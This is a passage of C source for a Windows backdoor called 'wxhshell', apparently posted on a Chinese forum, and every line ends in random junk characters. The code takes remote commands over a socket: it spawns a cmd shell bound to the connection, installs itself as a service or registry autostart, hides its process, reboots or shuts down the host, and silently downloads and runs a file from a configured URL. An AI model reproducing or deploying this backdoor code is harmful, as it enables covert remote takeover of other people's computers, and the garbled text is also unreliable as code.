  else { $ 6r> Tc](  
&:g1*+  
    switch(cmd[0]) { l;aO"_E1m  
  )N3/;U;  
  // 帮助 r t)[}+ox  
  case '?': { sUxEm}z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %|R]nB  
    break; 6y?uH; SL  
  } fcohYo5mh  
  // 安装 KNP^k$=)3c  
  case 'i': { q/@r#  
    if(Install()) H#nJWe_9A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &!'R'{/?X  
    else ,%V%g!6{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?e+y7K}"]  
    break; 4/S3hH  
    } 7g oRj  
  // 卸载 u-.nR}DM_  
  case 'r': { ].QzOV'  
    if(Uninstall()) g*4^HbVxt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _IxYnm`pc  
    else !@T~m1L eY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mpIR: Im  
    break; mv$gL  
    } rJ6N'vw>  
  // 显示 wxhshell 所在路径 (X2[}K  
  case 'p': { XA69t2J~F  
    char svExeFile[MAX_PATH]; L0%W;m  
    strcpy(svExeFile,"\n\r"); W ,]Ua]  
      strcat(svExeFile,ExeFile); dd6l+z  
        send(wsh,svExeFile,strlen(svExeFile),0); ka_R|x G\  
    break; dg0WH_#  
    } H~ >\HV*  
  // 重启 Tz\v.&? $  
  case 'b': { CzDg?wb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &RHx8zScP  
    if(Boot(REBOOT)) K\lu;   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )U}`x }:,  
    else { bQ0+Y?,+/  
    closesocket(wsh); 8KdcU [w]  
    ExitThread(0); 5GJa+St?  
    } dg(sRTi{  
    break; ^p%3@)&  
    } BGu<1$ G  
  // 关机 z<. 6jx@  
  case 'd': { uSxldc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \x8'K  
    if(Boot(SHUTDOWN)) Gch3|e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DsHm,dZ  
    else { w(y 9y9r]  
    closesocket(wsh); criNeKa  
    ExitThread(0); kp)1s>c  
    } [ 4PiQyr  
    break; q((%sWp  
    } X:(t,g*7  
  // 获取shell iE ,"YCK  
  case 's': { 2ryg3% +O  
    CmdShell(wsh); 9wC='  
    closesocket(wsh); u*7>0o|H:  
    ExitThread(0); i>pUTT _[  
    break; mJVru0  
  } ]qk`Yi  
  // 退出 a5`9mR)Y$'  
  case 'x': { p%\&M bA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eFQz G+/  
    CloseIt(wsh); H]{`q  
    break; Vg"vC  
    } ,A0v 5Q<  
  // 离开 }[;r-5}  
  case 'q': { D*wY,\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h{ EnS5~  
    closesocket(wsh); !}"PHby5N  
    WSACleanup(); ,!^;<UR:  
    exit(1); -e+im(2D=  
    break; {]7lh#M  
        } 7;sF0oB5e  
  } ^|cax| >  
  } EM'#'fBZ>Y  
;T>.  
  // 提示信息 `2G%&R,k"D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kNrd=s,-]D  
} ng[LSB*57Y  
  } |1+ mHp  
rGQ([e  
  return; GM0pHmC  
} tRTJQ  
0\o5+  
// shell模块句柄 qcBamf  
int CmdShell(SOCKET sock) *OY Nx4k  
{ (Ii+}Mfp  
STARTUPINFO si; e{ZS"e`!  
ZeroMemory(&si,sizeof(si)); ^8g<>, $  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <7MxI@\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :*tFW~<*b  
PROCESS_INFORMATION ProcessInfo; !WD^To  
char cmdline[]="cmd"; A=wh&X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); msZ 3%L  
  return 0; ~8lB#NuN  
} m{ rsjdnA  
#\3X;{  
// 自身启动模式 ev5m(wR  
int StartFromService(void) 0(^ N  
{ -JdNA2P  
typedef struct h,i=Y+1  
{ 9H cxL  
  DWORD ExitStatus; ZBc8 ^QZ  
  DWORD PebBaseAddress; D.w6/DxaXa  
  DWORD AffinityMask; '=ydU+X  
  DWORD BasePriority; '#612iZo  
  ULONG UniqueProcessId; A+"'8%o9}  
  ULONG InheritedFromUniqueProcessId; Es1T{<G|w  
}   PROCESS_BASIC_INFORMATION; x\Kt}/97e  
wQOIUvd  
PROCNTQSIP NtQueryInformationProcess; OT3~5j1[  
\8Yv}wQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #nS crs@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #8B4*gAM  
AaDMX,  
  HANDLE             hProcess; p{O@ts:  
  PROCESS_BASIC_INFORMATION pbi; ~Z ;.n p(T  
p3cb_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]P4?jKI  
  if(NULL == hInst ) return 0; 2-@z-XKn  
F@-8J?Hl:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {$_Gjv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .oe\wJS6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2<uBC  
8qv>C)~~`  
  if (!NtQueryInformationProcess) return 0; |I=GI]I  
7n'Ww=ttI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %u*HNo  
  if(!hProcess) return 0; G~zP&9N|  
slG%o5|m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _qSVYVJ u  
XlxM.;i0H  
  CloseHandle(hProcess); LP//\E_]  
=5 $BR<'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3 E!F8GZ  
if(hProcess==NULL) return 0; a)M3t  
ujeN|W  
HMODULE hMod; d{c06(#_  
char procName[255]; #9]O92t2UV  
unsigned long cbNeeded; < *db%{  
`s_k+ g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HurF4IsHk  
nM H:7[x3  
  CloseHandle(hProcess); O?qM=W  
8AmB0W> e  
if(strstr(procName,"services")) return 1; // 以服务启动 6JE_rAab  
E-HK=D&W/  
  return 0; // 注册表启动 &bCk`]j:  
} 1<pb=H  
(iu IeJ^Z  
// 主模块 'M% uw85  
int StartWxhshell(LPSTR lpCmdLine) Wf-Pa9  
{ NrfAr}v'E  
  SOCKET wsl; g,\O}jT\'  
BOOL val=TRUE; Jr,**,wA  
  int port=0; qE{L42  
  struct sockaddr_in door; k$ w#:Sx  
vk|xYDD  
  if(wscfg.ws_autoins) Install(); ;% l0Ml>  
X "Q\MLy  
port=atoi(lpCmdLine); $&. rS.*  
c- "#  
if(port<=0) port=wscfg.ws_port; (6X{ &  
j.SE'a_  
  WSADATA data; ~.J{yrJ&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aoU5pftC  
$%?[f;S3,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WTu1t]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7G  3e  
  door.sin_family = AF_INET; |:LklpdYe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m/ngPeZ  
  door.sin_port = htons(port); [yDOv Q[  
6:`4bo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (Iv*sd *  
closesocket(wsl); wo\O 0?d3{  
return 1; Xrzpn&Y=#  
} F)=*Ga  
w)"F=33}5  
  if(listen(wsl,2) == INVALID_SOCKET) { 9mB] \{^  
closesocket(wsl);  ~5n?=  
return 1; (kSb74*g  
} Vu Ey`c  
  Wxhshell(wsl); 1cd3m  
  WSACleanup(); FdS'0#$  
jluv}*If  
return 0; OA&r8WK3  
(xMq(g  
} !.w|+-JKO  
=wFl(Q6J  
// 以NT服务方式启动 #[sJKW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C@9K`N[*  
{ LBnlaH.  
DWORD   status = 0; fY 10a_@x  
  DWORD   specificError = 0xfffffff; X@%4N<  
zTfl#%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DfVSG1g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4\14HcTcK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I\('b9"*  
  serviceStatus.dwWin32ExitCode     = 0; IgKrcpK#}?  
  serviceStatus.dwServiceSpecificExitCode = 0; MN_1^T5  
  serviceStatus.dwCheckPoint       = 0; Q@cYHFi~+  
  serviceStatus.dwWaitHint       = 0; ho}G]y  
ez[$;>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mN'sJ1L-  
  if (hServiceStatusHandle==0) return; 8j8~?=$a6Q  
Kj#h9e  
status = GetLastError(); MO *7:hI  
  if (status!=NO_ERROR) NX?6 (lO,  
{ dX DuO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q VWVZ >l  
    serviceStatus.dwCheckPoint       = 0; -z>m]YDH  
    serviceStatus.dwWaitHint       = 0; ro18%' RRI  
    serviceStatus.dwWin32ExitCode     = status; Gc<^ b  
    serviceStatus.dwServiceSpecificExitCode = specificError; L:Me  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q `L}\}o  
    return; r9~IR  
  } z=qxZuFkDs  
r z5@E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?)e6:T(  
  serviceStatus.dwCheckPoint       = 0; c)SQ@B@q  
  serviceStatus.dwWaitHint       = 0; j/hm)*\io  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 68nPz".X  
} X'usd$[ .  
uo7[T*<Q  
// 处理NT服务事件,比如:启动、停止 "2`/mt Mon  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3IQ-2 X--  
{ 9oVprd >%@  
switch(fdwControl) eyG[1EEU  
{ ]O&yy{yYK  
case SERVICE_CONTROL_STOP: h BzZJ/jn  
  serviceStatus.dwWin32ExitCode = 0; CjLiLB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6' 9zpe@`  
  serviceStatus.dwCheckPoint   = 0; (b+o$C  
  serviceStatus.dwWaitHint     = 0; D1cnf"y^  
  { *.+N?%sAP)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jgT *=/GH2  
  } K#]FUUnj=  
  return; ]9hhAT44  
case SERVICE_CONTROL_PAUSE: /rv=ml pRL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >S:+&VN`M  
  break; TR!7@Mu 3  
case SERVICE_CONTROL_CONTINUE: RHuc#b0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Enqs|fkbN  
  break; #6nuiSF  
case SERVICE_CONTROL_INTERROGATE: }Hb_8P  
  break; ?cgb3^R'  
}; 29f4[V X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /^,/o  
} |/!RN[<   
C.+:FY.H  
// 标准应用程序主函数 mWH;-F*%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *NQsD C.J^  
{ /(Ryh6M  
-@/!u9l  
// 获取操作系统版本 r1.OLn?C  
OsIsNt=GetOsVer(); O @{<?[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DC*6=m_  
Lg+cHaA  
  // 从命令行安装 >!#or- C  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ej'N !d.  
R3E|seR  
  // 下载执行文件 10r9sR  
if(wscfg.ws_downexe) { mlbSs_LT^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -7A2@g  
  WinExec(wscfg.ws_filenam,SW_HIDE); wQ\bGBks  
} l1]'3]P(  
n;~6'f xe  
if(!OsIsNt) { ~{[,0,lWU  
// 如果时win9x,隐藏进程并且设置为注册表启动 :bz;_DZP  
HideProc(); BzI(  
StartWxhshell(lpCmdLine); els71t -  
} _&PF(/w  
else _cQhT  
  if(StartFromService()) BXLw  
  // 以服务方式启动 kj'  
  StartServiceCtrlDispatcher(DispatchTable); p\r V6+  
else W";Po)YC  
  // 普通方式启动 WRN}>]NgQ  
  StartWxhshell(lpCmdLine); GD#W=O  
`qa>6`\  
return 0; / 2h6  
}
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只看该作者 1 发表于: 2006-10-10
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